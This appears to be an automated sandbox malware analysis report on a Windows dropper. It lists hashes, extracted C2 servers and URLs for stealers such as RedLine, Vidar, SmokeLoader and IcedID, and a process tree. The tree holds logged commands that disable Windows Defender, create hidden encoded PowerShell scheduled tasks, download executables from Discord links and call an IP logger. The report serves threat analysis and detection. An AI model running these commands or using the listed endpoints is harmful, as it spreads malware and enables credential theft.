Analysis
-
max time kernel
1804s -
max time network
1788s -
platform
windows10_x64 -
resource
win10-en -
submitted
18-09-2021 19:15
General
-
Target
a4806a7fffe5d04d7ccd764890bd4ef3.exe
-
Size
6.7MB
-
MD5
a4806a7fffe5d04d7ccd764890bd4ef3
-
SHA1
5e16eaa0a86f73f0a389f570555dbd10bf48c135
-
SHA256
5248d778a816ffaed27e465deec140f4d79478a4aca7c5968d6eb926ac7c94f1
-
SHA512
5af0704f4f2396ad9cc1d82076eae14b7da8994bb538a85bcb0bd0de31ffb10a694d901c90a1b242732030129af3ef4feef7b79e1e72865cb5e634b371be9d71
Score
10/10
Malware Config
Extracted
Language
ps1
Deobfuscated
URLs
ps1.dropper
http://shellloader.com/welcome
Extracted
Family
redline
Botnet
ANI
C2
45.142.215.47:27643
Extracted
Family
vidar
Version
40.6
Botnet
706
C2
https://dimonbk83.tumblr.com/
Attributes
-
profile_id
706
Extracted
Family
smokeloader
Version
2020
C2
http://varmisende.com/upload/
http://fernandomayol.com/upload/
http://nextlytm.com/upload/
http://people4jan.com/upload/
http://asfaltwerk.com/upload/
rc4.i32
rc4.i32
Extracted
Family
redline
Botnet
matthew14
C2
193.188.21.209:41939
Extracted
Family
icedid
Campaign
3162718704
Signatures
-
IcedID, BokBot
IcedID is a banking trojan capable of stealing credentials.
-
Modifies Windows Defender Real-time Protection settings 3 TTPs
-
Process spawned unexpected child process 6 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
-
RedLine Payload 6 IoCs
-
SmokeLoader
Modular backdoor trojan in use since 2014.
-
Socelars
Socelars is an infostealer targeting browser cookies and credit card credentials.
-
Socelars Payload 2 IoCs
-
Suspicious use of NtCreateProcessExOtherParentProcess 3 IoCs
-
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
-
Vidar
Vidar is an infostealer based on Arkei stealer.
-
suricata: ET MALWARE Amadey CnC Check-In
suricata: ET MALWARE Amadey CnC Check-In
-
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
suricata: ET MALWARE JS/Nemucod requesting EXE payload 2016-02-01
-
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
suricata: ET MALWARE JS/Nemucod.M.gen downloading EXE payload
-
suricata: ET MALWARE Observed Win32/Ymacco.AA36 User-Agent
suricata: ET MALWARE Observed Win32/Ymacco.AA36 User-Agent
-
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
suricata: ET MALWARE Single char EXE direct download likely trojan (multiple families)
-
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
suricata: ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile
-
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
suricata: ET MALWARE Win32/Adware.Agent.NSU CnC Activity M2
-
suricata: ET MALWARE Win32/IcedID Request Cookie
suricata: ET MALWARE Win32/IcedID Request Cookie
-
suricata: ET MALWARE Win32/Tnega Activity (GET)
suricata: ET MALWARE Win32/Tnega Activity (GET)
-
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
-
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs
-
Vidar Stealer 2 IoCs
-
ASPack v2.12-2.42 6 IoCs
Detects executables packed with ASPack v2.12-2.42
-
Blocklisted process makes network request 63 IoCs
-
Downloads MZ/PE file
-
Drops file in Drivers directory 1 IoCs
-
Executes dropped EXE 64 IoCs
-
Sets file to hidden 1 TTPs
Modifies file attributes to stop it showing in Explorer etc.
-
VMProtect packed file 3 IoCs
Detects executables packed with VMProtect commercial packer.
-
Checks BIOS information in registry 2 TTPs 28 IoCs
BIOS information is often read in order to detect sandboxing environments.
-
Checks computer location settings 2 TTPs 6 IoCs
Looks up country code configured in the registry, likely geofence.
-
Loads dropped DLL 57 IoCs
-
Reads user/profile data of local email clients 2 TTPs
Email clients store some user data on disk where infostealers will often target it.
-
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
-
Accesses 2FA software files, possible credential harvesting 2 TTPs
-
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
-
Adds Run key to start application 2 TTPs 6 IoCs
-
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
-
Checks whether UAC is enabled 1 TTPs 14 IoCs
-
Drops desktop.ini file(s) 1 IoCs
-
Enumerates connected drives 3 TTPs 48 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
-
Legitimate hosting services abused for malware hosting/C2 1 TTPs
-
Looks up external IP address via web service 7 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
-
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
-
Drops file in System32 directory 64 IoCs
-
Suspicious use of NtSetInformationThreadHideFromDebugger 44 IoCs
-
Suspicious use of SetThreadContext 43 IoCs
-
Drops file in Program Files directory 44 IoCs
-
Drops file in Windows directory 57 IoCs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Program crash 20 IoCs
-
Checks SCSI registry key(s) 3 TTPs 27 IoCs
SCSI information is often read in order to detect sandboxing environments.
-
Checks processor information in registry 2 TTPs 4 IoCs
Processor information is often read in order to detect sandboxing environments.
-
Creates scheduled task(s) 1 TTPs 21 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
-
Delays execution with timeout.exe 7 IoCs
-
Enumerates system info in registry 2 TTPs 6 IoCs
-
Kills process with taskkill 8 IoCs
-
Modifies Control Panel 1 IoCs
-
Modifies Internet Explorer settings 1 TTPs 8 IoCs
-
Modifies data under HKEY_USERS 64 IoCs
-
Modifies registry class 64 IoCs
-
Modifies system certificate store 2 TTPs 5 IoCs
-
Script User-Agent 3 IoCs
Uses user-agent string associated with script host/environment.
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
-
Suspicious behavior: GetForegroundWindowSpam 1 IoCs
-
Suspicious behavior: MapViewOfSection 19 IoCs
-
Suspicious use of AdjustPrivilegeToken 64 IoCs
-
Suspicious use of FindShellTrayWindow 20 IoCs
-
Suspicious use of SendNotifyMessage 1 IoCs
-
Suspicious use of SetWindowsHookEx 16 IoCs
-
Suspicious use of WriteProcessMemory 64 IoCs
-
Views/modifies file attributes 1 TTPs 2 IoCs
Processes
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s UserManager1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s LanmanServer1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s IKEEXT1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s SENS1⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Browser1⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k SystemNetworkService2⤵
- Drops file in System32 directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Modifies registry class
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s Winmgmt1⤵
-
C:\Windows\system32\wbem\WMIADAP.EXEwmiadap.exe /F /T /R2⤵
-
c:\windows\system32\svchost.exec:\windows\system32\svchost.exe -k netsvcs -s WpnService1⤵
-
C:\Windows\Explorer.EXEC:\Windows\Explorer.EXE1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
-
C:\Users\Admin\AppData\Local\Temp\a4806a7fffe5d04d7ccd764890bd4ef3.exe"C:\Users\Admin\AppData\Local\Temp\a4806a7fffe5d04d7ccd764890bd4ef3.exe"2⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"C:\Users\Admin\AppData\Local\Temp\setup_installer.exe"3⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\setup_install.exe"C:\Users\Admin\AppData\Local\Temp\7zS002ED871\setup_install.exe"4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed22398ca1246818a50.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed22398ca1246818a50.exeWed22398ca1246818a50.exe6⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\AppData\Local\Temp\tmp4A62_tmp.exe"C:\Users\Admin\AppData\Local\Temp\tmp4A62_tmp.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\AppData\Local\Temp\tmp4A62_tmp.exeC:\Users\Admin\AppData\Local\Temp\tmp4A62_tmp.exe8⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed22214190470.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed22214190470.exeWed22214190470.exe6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp"6⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed2246f9dc6f4f9.exe5⤵
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed2246f9dc6f4f9.exeWed2246f9dc6f4f9.exe6⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c Wed229825989c.exe5⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS002ED871\Wed229825989c.exeWed229825989c.exe6⤵
- Executes dropped EXE
- Checks computer location settings
- Modifies system certificate store
-
C:\Users\Admin\Documents\lGD95D4_mB2MewcnOIzLXmg6.exe"C:\Users\Admin\Documents\lGD95D4_mB2MewcnOIzLXmg6.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\_EgOLlIsdSmXoki81XEbNp1Z.exe"C:\Users\Admin\Documents\_EgOLlIsdSmXoki81XEbNp1Z.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\Xdg025WQHi3LAUhrQlkoUVf3.exe"C:\Users\Admin\Documents\Xdg025WQHi3LAUhrQlkoUVf3.exe"7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im Xdg025WQHi3LAUhrQlkoUVf3.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\Documents\Xdg025WQHi3LAUhrQlkoUVf3.exe" & del C:\ProgramData\*.dll & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im Xdg025WQHi3LAUhrQlkoUVf3.exe /f9⤵
- Kills process with taskkill
-
C:\Windows\SysWOW64\timeout.exetimeout /t 69⤵
- Delays execution with timeout.exe
-
C:\Users\Admin\Documents\8QCtdXQikd5oJfzX5c7j_8ul.exe"C:\Users\Admin\Documents\8QCtdXQikd5oJfzX5c7j_8ul.exe"7⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl LG" /sc ONLOGON /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /f /RU "Admin" /tr "C:\Program Files (x86)\PowerControl\PowerControl_Svc.exe" /tn "PowerControl HR" /sc HOURLY /rl HIGHEST8⤵
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"C:\Users\Admin\Documents\qT3dWYBP7ZsuOrwW4ZcUbjl6.exe"8⤵
- Checks computer location settings
-
C:\Users\Admin\Documents\QKEwVZOL3NjH0iyOQhflLxDX.exe"C:\Users\Admin\Documents\QKEwVZOL3NjH0iyOQhflLxDX.exe"9⤵
-
C:\Users\Admin\Documents\RsUjrxThOJXISQmFaKGf5fwF.exe"C:\Users\Admin\Documents\RsUjrxThOJXISQmFaKGf5fwF.exe"9⤵
- Checks SCSI registry key(s)
- Suspicious behavior: MapViewOfSection
-
C:\Users\Admin\Documents\tHqqFD9ySo0xljieZr4MfC5j.exe"C:\Users\Admin\Documents\tHqqFD9ySo0xljieZr4MfC5j.exe"9⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS7159.tmp\Install.exe.\Install.exe10⤵
-
C:\Users\Admin\AppData\Local\Temp\7zS7224.tmp\Install.exe.\Install.exe /S /site_id "668658"11⤵
- Checks BIOS information in registry
- Drops file in System32 directory
- Enumerates system info in registry
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True" &12⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True"13⤵
- Checks SCSI registry key(s)
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147735503 ThreatIDDefaultAction_Actions=6 Force=True16⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m where.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True"13⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737010 ThreatIDDefaultAction_Actions=6 Force=True16⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m calc.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True"13⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737007 ThreatIDDefaultAction_Actions=6 Force=True16⤵
-
C:\Windows\SysWOW64\forfiles.exeforfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True"13⤵
-
C:\Windows\SysWOW64\cmd.exe/C powershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True14⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True15⤵
-
C:\Windows\SysWOW64\Wbem\WMIC.exe"C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ThreatIDDefaultAction_Ids=2147737394 ThreatIDDefaultAction_Actions=6 Force=True16⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&13⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:3214⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:6414⤵
-
C:\Windows\SysWOW64\forfiles.exe"C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32® ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"12⤵
-
C:\Windows\SysWOW64\cmd.exe/C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32® ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&13⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:3214⤵
-
\??\c:\windows\SysWOW64\reg.exeREG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:6414⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "gdjSDVOFT" /SC once /ST 06:55:37 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="12⤵
- Creates scheduled task(s)
-
C:\Windows\SysWOW64\schtasks.exeschtasks /run /I /tn "gdjSDVOFT"12⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /DELETE /F /TN "gdjSDVOFT"12⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /CREATE /TN "bRciptYQhTCMvEFWGJ" /SC once /ST 19:20:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\nitzTrLPrXGkZCFFk\iXkrQovqyvDrylo\cjzCLZH.exe\" W8 /site_id 668658 /S" /V1 /F12⤵
- Drops file in Windows directory
- Creates scheduled task(s)
-
C:\Users\Admin\Documents\uJPgyi55abJ5oT2OQQHffp_5.exe"C:\Users\Admin\Documents\uJPgyi55abJ5oT2OQQHffp_5.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\7c5weFZKB3MRh6QXMAxhqmce.exe"C:\Users\Admin\Documents\7c5weFZKB3MRh6QXMAxhqmce.exe"7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
-
C:\Users\Admin\Documents\7c5weFZKB3MRh6QXMAxhqmce.exeC:\Users\Admin\Documents\7c5weFZKB3MRh6QXMAxhqmce.exe8⤵
-
C:\Users\Admin\Documents\7c5weFZKB3MRh6QXMAxhqmce.exeC:\Users\Admin\Documents\7c5weFZKB3MRh6QXMAxhqmce.exe8⤵
-
C:\Users\Admin\Documents\7c5weFZKB3MRh6QXMAxhqmce.exeC:\Users\Admin\Documents\7c5weFZKB3MRh6QXMAxhqmce.exe8⤵
-
C:\Users\Admin\Documents\KpuXEkrFazPh9Jf2wlSdASwD.exe"C:\Users\Admin\Documents\KpuXEkrFazPh9Jf2wlSdASwD.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\Mb9WW910PB7dP27OJXelQaVE.exe"C:\Users\Admin\Documents\Mb9WW910PB7dP27OJXelQaVE.exe"7⤵
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
-
C:\Users\Admin\Documents\Xey3bkjD6CXIkoJCD3jimx_H.exe"C:\Users\Admin\Documents\Xey3bkjD6CXIkoJCD3jimx_H.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\TfmGy2QyVltUhgpCR28HaGU_.exe"C:\Users\Admin\Documents\TfmGy2QyVltUhgpCR28HaGU_.exe"7⤵
- Executes dropped EXE
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd" /c "C:\Users\Admin\AppData\Local\Temp\3416.tmp\3417.tmp\3418.bat C:\Users\Admin\Documents\TfmGy2QyVltUhgpCR28HaGU_.exe"8⤵
-
C:\Users\Admin\AppData\Local\Temp\3416.tmp\3417.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\3416.tmp\3417.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/880498551011049495/883407469894856764/33.exe" "33.exe" "" "" "" "" "" ""9⤵
-
C:\Users\Admin\AppData\Local\Temp\3416.tmp\3417.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\3416.tmp\3417.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/888411325196304386/888744744606396426/zJORGHtr.exe" "zJORGHtr.exe" "" "" "" "" "" ""9⤵
-
C:\Users\Admin\AppData\Local\Temp\13829\zJORGHtr.exezJORGHtr.exe9⤵
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\13F6.tmp\13F7.tmp\13F8.bat C:\Users\Admin\AppData\Local\Temp\13829\zJORGHtr.exe"10⤵
-
C:\Users\Admin\AppData\Local\Temp\13F6.tmp\13F7.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\13F6.tmp\13F7.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/880498551011049495/883407469894856764/33.exe" "33.exe" "" "" "" "" "" ""11⤵
-
C:\Users\Admin\AppData\Local\Temp\13F6.tmp\13F7.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\13F6.tmp\13F7.tmp\extd.exe "/download" "https://cdn.discordapp.com/attachments/888411325196304386/888735541456142367/zJORGHtr.exe" "zJORGHtr.exe" "" "" "" "" "" ""11⤵
-
C:\Users\Admin\AppData\Local\Temp\14005\zJORGHtr.exezJORGHtr.exe11⤵
-
C:\Users\Admin\AppData\Local\Temp\fl.exe"C:\Users\Admin\AppData\Local\Temp\fl.exe"12⤵
- Suspicious use of SetThreadContext
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\fl.exe"13⤵
-
C:\Windows\SysWOW64\schtasks.exe"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\viauvnk" /XML "C:\Users\Admin\AppData\Local\Temp\tmp8F2E.tmp"13⤵
- Creates scheduled task(s)
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"13⤵
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"13⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
-
C:\Users\Admin\AppData\Local\Temp\13F6.tmp\13F7.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\13F6.tmp\13F7.tmp\extd.exe "" "" "" "" "" "" "" "" ""11⤵
-
C:\Users\Admin\AppData\Local\Temp\3416.tmp\3417.tmp\extd.exeC:\Users\Admin\AppData\Local\Temp\3416.tmp\3417.tmp\extd.exe "" "" "" "" "" "" "" "" ""9⤵
-
C:\Users\Admin\Documents\P5074eP0MzvD8kAeZXgqpAmS.exe"C:\Users\Admin\Documents\P5074eP0MzvD8kAeZXgqpAmS.exe"7⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Users\Admin\Documents\P5074eP0MzvD8kAeZXgqpAmS.exe"C:\Users\Admin\Documents\P5074eP0MzvD8kAeZXgqpAmS.exe"8⤵
- Modifies data under HKEY_USERS
-
C:\Users\Admin\Documents\Inb8dxsahrjW9SsAfowYoOGa.exe"C:\Users\Admin\Documents\Inb8dxsahrjW9SsAfowYoOGa.exe"7⤵
- Executes dropped EXE
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /im "Inb8dxsahrjW9SsAfowYoOGa.exe" /f & erase "C:\Users\Admin\Documents\Inb8dxsahrjW9SsAfowYoOGa.exe" & exit8⤵
-
C:\Windows\SysWOW64\taskkill.exetaskkill /im "Inb8dxsahrjW9SsAfowYoOGa.exe" /f9⤵
- Kills process with taskkill
-
C:\Users\Admin\Documents\oERL6sTRm8kKshLST0JFUm0N.exe"C:\Users\Admin\Documents\oERL6sTRm8kKshLST0JFUm0N.exe"7⤵
- Executes dropped EXE
-
C:\Users\Admin\Documents\SJt9StmZOMTnuq54F2ue8HWJ.exe"C:\Users\Admin\Documents\SJt9StmZOMTnuq54F2ue8HWJ.exe"7⤵
- Loads dropped DLL
-
C:\Windows\SysWOW64\cmd.exe"cmd" /c start "" "f.exe" & start "" "wwi.exe" & start "" "wwl.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1aX5d7"8⤵
